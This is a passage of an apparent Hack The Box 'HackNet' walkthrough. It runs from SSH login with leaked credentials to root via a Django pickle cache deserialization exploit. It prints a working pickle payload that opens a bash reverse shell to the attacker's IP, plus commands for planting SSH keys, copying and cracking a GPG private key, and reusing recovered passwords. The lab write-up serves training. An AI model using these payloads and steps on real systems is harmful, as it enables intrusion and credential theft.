Username: backdoor_bandit, Email: mikey@hacknet.htb, Password: mYd4rks1dEisH3re
<SNIP>

We have a user backdoor_bandit, email mikey@hacknet.htb and password mYd4rks1dEisH3re at post 23.

The domain @hacknet.htb calls my attention. Also all users are repeated in different posts, except for backdoor_bandit user that only appears on post 23. Check if the password shown works for the user or the user shown on its mail:

❯ nxc ssh 10.10.11.85 -u backdoor_bandit mikey -p 'mYd4rks1dEisH3re'

SSH         10.10.11.85     22     10.10.11.85      [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
SSH         10.10.11.85     22     10.10.11.85      [-] backdoor_bandit:mYd4rks1dEisH3re
SSH         10.10.11.85     22     10.10.11.85      [+] mikey:mYd4rks1dEisH3re  Linux - Shell access!

We finally have credentials: mikey:mYd4rks1dEisH3re.

We can log in using SSH service as this user:

❯ sshpass -p 'mYd4rks1dEisH3re' ssh -o stricthostkeychecking=no mikey@10.10.11.85

Linux hacknet 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-08-02) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Sep 21 22:03:27 2025 from 10.10.16.10
mikey@hacknet:~$

We can finally grab the user flag.


Root Link to heading

We can search for sensitive files at the system such as backups using find:

mikey@hacknet:~$ find / \( \( -type f -o -type d \) -iname '*backup*' -o -type f -iname '*.db' -o -type f -iname '*.cfg' \) 2>/dev/null

<SNIP>
/var/www/HackNet/backups
/var/www/HackNet/backups/backup03.sql.gpg
/var/www/HackNet/backups/backup02.sql.gpg
/var/www/HackNet/backups/backup01.sql.gpg
/var/backups
<SNIP>

There are 2 interesting backups directories. One at /var and other at /var/www/HackNet directory with some GNU Privacy Guard (GPG) files in it.

/var/backups has some .gz files owned by root:

mikey@hacknet:~$ ls -la /var/backups

total 52
drwxr-xr-x  3 root root  4096 Sep 21 16:28 .
drwxr-xr-x 12 root root  4096 May 31  2024 ..
-rw-r--r--  1 root root 16072 Sep  5 07:35 apt.extended_states.0
-rw-r--r--  1 root root  1763 Mar 20  2025 apt.extended_states.1.gz
-rw-r--r--  1 root root  1659 Feb  9  2025 apt.extended_states.2.gz
-rw-r--r--  1 root root  1792 Feb  9  2025 apt.extended_states.3.gz
-rw-r--r--  1 root root  1787 Feb  5  2025 apt.extended_states.4.gz
-rw-r--r--  1 root root  1781 Aug  8  2024 apt.extended_states.5.gz
-rw-r--r--  1 root root  1646 Aug  8  2024 apt.extended_states.6.gz
drwxr-xr-x  2 root root  4096 Sep  4 15:01 hygiene

Whereas /var/www/HackNet/backups/ has files owned by sandy user (another user at the system):

mikey@hacknet:~$ ls -la /var/www/HackNet/backups/

total 56
drwxr-xr-x 2 sandy sandy  4096 Dec 29  2024 .
drwxr-xr-x 7 sandy sandy  4096 Feb 10  2025 ..
-rw-r--r-- 1 sandy sandy 13445 Dec 29  2024 backup01.sql.gpg
-rw-r--r-- 1 sandy sandy 13713 Dec 29  2024 backup02.sql.gpg
-rw-r--r-- 1 sandy sandy 13851 Dec 29  2024 backup03.sql.gpg

We cannot read sandy home directory, where .gnupg directory -that contains files to decrypt gpg files- is usually located:

mikey@hacknet:~$ ls -la /home/sandy

ls: cannot open directory '/home/sandy': Permission denied

So attempting to decrypt these files is futile for the moment.

We can check directories where sandy user can write:

mikey@hacknet:~$ find / -user sandy -writable 2>/dev/null

/var/tmp/django_cache

There is a Django cache directory.

But its empty:

mikey@hacknet:~$ ls -la /var/tmp/django_cache

total 8
drwxrwxrwx 2 sandy www-data 4096 Sep 21 21:45 .
drwxrwxrwt 4 root  root     4096 Sep 21 16:07 ..

We can check if this directory is called somewhere at the webserver:

mikey@hacknet:~$ grep -ir '/var/tmp/django_cache' /var/www/HackNet/ 2>/dev/null

/var/www/HackNet/HackNet/settings.py:        'LOCATION': '/var/tmp/django_cache',

It is being called by settings.py file, whose content is:

from pathlib import Path
import os

BASE_DIR = Path(__file__).resolve().parent.parent

SECRET_KEY = 'agyasdf&^F&ADf87AF*Df9A5D^AS%D6DflglLADIuhldfa7w'

DEBUG = False

ALLOWED_HOSTS = ['hacknet.htb']

INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'SocialNetwork'
]

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]

ROOT_URLCONF = 'HackNet.urls'

TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]

WSGI_APPLICATION = 'HackNet.wsgi.application'

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'NAME': 'hacknet',
        'USER': 'sandy',
        'PASSWORD': 'h@ckn3tDBpa$$',
        'HOST':'localhost',
        'PORT':'3306',
    }
}

CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
        'LOCATION': '/var/tmp/django_cache',
        'TIMEOUT': 60,
        'OPTIONS': {'MAX_ENTRIES': 1000},
    }
}

AUTH_PASSWORD_VALIDATORS = [
    {
        'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
    },
]

SESSION_ENGINE = 'django.contrib.sessions.backends.db'

LANGUAGE_CODE = 'en-us'

TIME_ZONE = 'UTC'

USE_I18N = True

USE_L10N = True

USE_TZ = True

STATICFILES_STORAGE = 'django.contrib.staticfiles.storage.StaticFilesStorage'
STATIC_ROOT = os.path.join(BASE_DIR, 'static')
STATIC_URL = '/static/'

MEDIA_ROOT = os.path.join(BASE_DIR, 'media')
MEDIA_URL = '/media/'

We have a MySQL database password. If we don’t find anything else we can go fir the database.

Checking where is cache used (as there was a cache directory for Django) we get:

mikey@hacknet:~$ grep -irl cache /var/www/HackNet/ 2>/dev/null | grep -v '.js'

/var/www/HackNet/SocialNetwork/__pycache__/views.cpython-311.pyc
/var/www/HackNet/SocialNetwork/views.py
/var/www/HackNet/HackNet/__pycache__/settings.cpython-311.pyc
/var/www/HackNet/HackNet/settings.py

There is a views.py file.

This file is big, but the important part is where it is using cache files at line 488:

@cache_page(60)
def explore(request):
    if not "email" in request.session.keys():
        return redirect("index")

    session_user = get_object_or_404(SocialUser, email=request.session['email'])

    page_size = 10
    keyword = ""

    if "keyword" in request.GET.keys():
        keyword = request.GET['keyword']
        posts = SocialArticle.objects.filter(text__contains=keyword).order_by("-date")
    else:
        posts = SocialArticle.objects.all().order_by("-date")

    pages = ceil(len(posts) / page_size)

    if "page" in request.GET.keys() and int(request.GET['page']) > 0:
        post_start = int(request.GET['page'])*page_size-page_size
        post_end = post_start + page_size
        posts_slice = posts[post_start:post_end]
    else:
        posts_slice = posts[:page_size]

    news = get_news()
    request.session['requests'] = session_user.contact_requests
    request.session['messages'] = session_user.unread_messages

    for post_item in posts:
        if session_user in post_item.likes.all():
            post_item.is_like = True

    posts_filtered = []
    for post in posts_slice:
        if not post.author.is_hidden or post.author == session_user:
            posts_filtered.append(post)
        for like in post.likes.all():
            if like.is_hidden and like != session_user:
                post.likes_number -= 1

    context = {"pages": pages, "posts": posts_filtered, "keyword": keyword, "news": news, "session_user": session_user}

    return render(request, "SocialNetwork/explore.html", context)

This script checks if a user is logged in the application, if not it is redirected to home page. It renders a paginated “explore” feed on the web.

/var/tmp/django_cache directory was empty. But if we visit /explore page on the web page in a web browser as our logged user and then check this directory we now have .djcache files:

mikey@hacknet:~$ ls -la /var/tmp/django_cache/

total 16
drwxrwxrwx 2 sandy www-data 4096 Sep 21 23:16 .
drwxrwxrwt 4 root  root     4096 Sep 21 16:07 ..
-rw------- 1 sandy www-data   34 Sep 21 23:16 1f0acfe7480a469402f1852f8313db86.djcache
-rw------- 1 sandy www-data 2794 Sep 21 23:16 90dbab8f3b1e54369abdeb4ba1efc106.djcache

Therefore, we can try to create a .djcache file as the server is using FileBasedCache for Django. As is explained at Django’s documentation, when we have FileBasedCache option enabled it reads a file-based cache backend serialized file. Therefore, we can attempt to create a simple payload with Pickle and attempt a Deserialization Attack. First, check if pickle is installed in the victim machine (so we don’t have to install it in our attacker’s machine):

mikey@hacknet:~$ python3 -c "import pickle"

We got no error, so pickle is installed.

Then, using an editor like nano or Vi in the victim machine create a Python script to create a malicious payload that will trigger a reverse shell:

import pickle
import base64


# Exploit object
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.10/443 0>&1'",),)


payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)

Where 10.10.16.10 is our attacker machine IP address and 443 a port we will start listening with netcat to get a reverse shell.

Run the exploit in the victim machine:

mikey@hacknet:~$ python3 pickle_exploit.py

b'gASVVwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDwvYmluL2Jhc2ggLWMgJy9iaW4vYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMC80NDMgMD4mMSeUhZRSlC4='

We get a payload in base64.

Start a netcat listener on port 443 in our attacker machine:

❯ nc -lvnp 443

listening on [any] 443 ...

Go back to our web browser, visit /explore page. This will generate new .djcache files at /var/tmp/django_cache directory. Now, replace those files (since we don’t know which one will be executed) with the generated base64 Pickle payload, but decoded:

mikey@hacknet:/var/tmp/django_cache$ for filename in $(ls); do rm -f $filename; echo gASVVwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDwvYmluL2Jhc2ggLWMgJy9iaW4vYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMC80NDMgMD4mMSeUhZRSlC4= | base64 -d > $filename; chmod 777 $filename; done

Go back to the web page, and reload the page at /explore endpoint. It executes the serialized file and we get a shell as sandy user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.85] 60556
bash: cannot set terminal process group (1525): Inappropriate ioctl for device
bash: no job control in this shell
sandy@hacknet:/var/www/HackNet$

In our attacker machine, create an SSH key file and check its content:

❯ ssh-keygen -q -t ed25519 -N '' -C 'pam'

Enter file in which to save the key (/home/gunzf0x/.ssh/id_ed25519): /home/gunzf0x/HTB/HTBMachines/Medium/HackNet/content/id_ed25519

❯ cat id_ed25519.pub

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOEsKbUceT7fRBKov2Cj+csHE+EMDnGnbI+1Q/Y6R1Jw pam

Back to the attacker machine, go to /home/sandy directory, create an .ssh directory and paste the content of id_ed25519.pub file to authorized_keys file:

sandy@hacknet:/var/www/HackNet$ cd /home/sandy

sandy@hacknet:~$ mkdir .ssh

sandy@hacknet:~$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOEsKbUceT7fRBKov2Cj+csHE+EMDnGnbI+1Q/Y6R1Jw pam" > .ssh/authorized_keys

Now, use the key to access as sandy user with SSH service:

❯ ssh -i id_ed25519 sandy@10.10.11.85

Linux hacknet 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-08-02) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Sep 21 23:53:04 2025 from 10.10.16.10
sandy@hacknet:~$

As we saw previously, there were some GPG files. If we attempt to decrypt them, they ask for a passhphrase:

sandy@hacknet:~$ gpg -d backup01.sql.gpg

Since we don’t have any passphrase, we can check GPG files at ~/.gnupg/private-keys-v1.d directory:

sandy@hacknet:~$ ls -la ~/.gnupg/private-keys-v1.d

total 20
drwx------ 2 sandy sandy 4096 Sep  5 07:33 .
drwx------ 4 sandy sandy 4096 Sep 21 23:59 ..
-rw------- 1 sandy sandy 1255 Sep  5 07:33 0646B1CF582AC499934D8503DCF066A6DCE4DFA9.key
-rw------- 1 sandy sandy 2088 Sep  5 07:33 armored_key.asc
-rw------- 1 sandy sandy 1255 Sep  5 07:33 EF995B85C8B33B9FC53695B9A3B597B325562F4F.key

There is an armored_key.asc file.

Transfer this file to our attacker machine using scp and our generated SSH key, running in our attacker machine:

❯ scp -i id_ed25519 sandy@10.10.11.85:/home/sandy/.gnupg/private-keys-v1.d/armored_key.asc armored_key.asc

Then, use gpg2john to pass the hash stored in this file to a crackable format:

❯ gpg2john armored_key.asc > sandy_key_hash

Finally, attempt to crack this hash throughout a Brute Force Password Cracking with john:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt sandy_key_hash

Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sweetheart       (Sandy)
1g 0:00:00:09 DONE (2025-09-22 01:11) 0.1047g/s 44.50p/s 44.50c/s 44.50C/s 246810..kitty
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

We got a password: sweetheart.

This might be the passphrase for .gpg files. Attempt to decrypt these files using this potential passphrase:

sandy@hacknet:~$ for i in 1 2 3; do gpg --batch --yes --passphrase "sweetheart" --pinentry-mode loopback -o extracted_backup_0$i.sql -d /var/www/HackNet/backups/backup0$i.sql.gpg; done

gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
      "Sandy (My key for backups) <sandy@hacknet.htb>"
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
      "Sandy (My key for backups) <sandy@hacknet.htb>"
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
      "Sandy (My key for backups) <sandy@hacknet.htb>"

Transfer these files to our attacker machine with scp as well:

❯ scp -i id_ed25519 'sandy@10.10.11.85:/home/sandy/extracted_backup_0*.sql' .

extracted_backup_01.sql                            100%   47KB  35.4KB/s   00:01
extracted_backup_02.sql                            100%   47KB  47.4KB/s   00:01
extracted_backup_03.sql                            100%   48KB  59.5KB/s   00:00

These are just text files:

❯ file extracted_backup_01.sql

extracted_backup_01.sql: Unicode text, UTF-8 text, with very long lines (398)

Finally, check if we have potential passwords contained in these backup files:

❯ grep -irE 'password|passwd' extracted_backup_0* 2>/dev/null

<SNIP>
extracted_backup_02.sql:(47,'2024-12-29 20:29:36.987384','Hey, can you share the MySQL root password with me? I need to make some changes to the database.',1,22,18),
extracted_backup_02.sql:(48,'2024-12-29 20:29:55.938483','The root password? What kind of changes are you planning?',1,18,22),
extracted_backup_02.sql:(50,'2024-12-29 20:30:41.806921','Alright. But be careful, okay? Here’s the password: h4ck3rs4re3veRywh3re99. Let me know when you’re done.',1,18,22),
<SNIP>

There is a potential password for root user: h4ck3rs4re3veRywh3re99.

Use it into the victim machine:

sandy@hacknet:~$ su root
Password: h4ck3rs4re3veRywh3re99

root@hacknet:/home/sandy#

It worked. GG. We can grab the root flag at /root directory.

~Happy Hacking.